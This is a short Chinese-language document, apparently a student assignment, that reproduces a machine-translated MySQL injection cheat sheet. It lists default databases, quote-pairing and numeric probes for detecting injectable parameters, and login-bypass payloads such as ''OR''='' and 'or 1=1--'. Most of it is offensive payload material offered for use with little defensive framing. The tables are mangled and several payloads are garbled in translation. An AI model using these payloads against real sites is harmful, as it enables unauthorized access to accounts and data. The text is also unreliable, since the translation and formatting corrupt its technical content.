[MySQL注入]

专业：电子信息工程（信息安全）

学生姓名：何培光

指导教师：温 强

完成时间：2019年7月2日

**默认数据库：**

|  |  |  |
| --- | --- | --- |
| |  | | --- | | MySQL的 | | 需要root权限 |
| INFORMATION\_SCHEMA | 适用于5及更高版本 |

**测试注射：**

False表示查询无效（MySQL错误/网站上缺少内容）

True表示查询有效（内容像往常一样显示）

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 字符串（strings）  鉴于查询 SELECT \* FROM Table WHERE id = '1';   |  |  | | --- | --- | | “ | 假 | | “” | |  | | --- | | 真正 | | | “ | 假 | | “” | 真正 | | \ | 假 | | \\ | 真正 | | 例子：   * SELECT \* FROM Articles WHERE id ='1 **''** '; * SELECT 1 FROM dual WHERE 1 ='1 **''''''''''''UNION SELECT'2** ';   笔记：   * 您可以根据需要使用尽可能多的撇号和引号，只要它们配对即可。 * 也可以在引号链后继续声明。 * 行情逃脱报价。 | | |
| 数字（Numeric）  鉴于查询 SELECT \* FROM Table WHERE id = 1;   |  |  |  | | --- | --- | --- | | |  | | --- | | AND 1 | | 真正 | | AND 0 | 假 | | AND true | 真正 | | AND false | 假 | | 1-false | 如果易受攻击则返回1 | | 1-true | 如果易受攻击则返回0 | | 1\*56 | 如果易受伤害则返回56 | | 1\*56 | 如果不脆弱则返回1 | | 例子：   * SELECT \* FROM Users WHERE id = 3 **-2**;   笔记：   * true 等于1。 * false 等于0。 | | |
| 在登陆中（In a login）  鉴于查询 SELECT \* FROM Table WHERE username = '';   |  | | --- | | '或'1 | | '或1 - -'或1 - - | | “或”“=” | | “或1 = 1 - - | | '=' | | '喜欢' | | “= 0 - + | | 例子：   * SELECT \* FROM Users WHERE username ='Mike'AND password =' **'OR''='** '; | |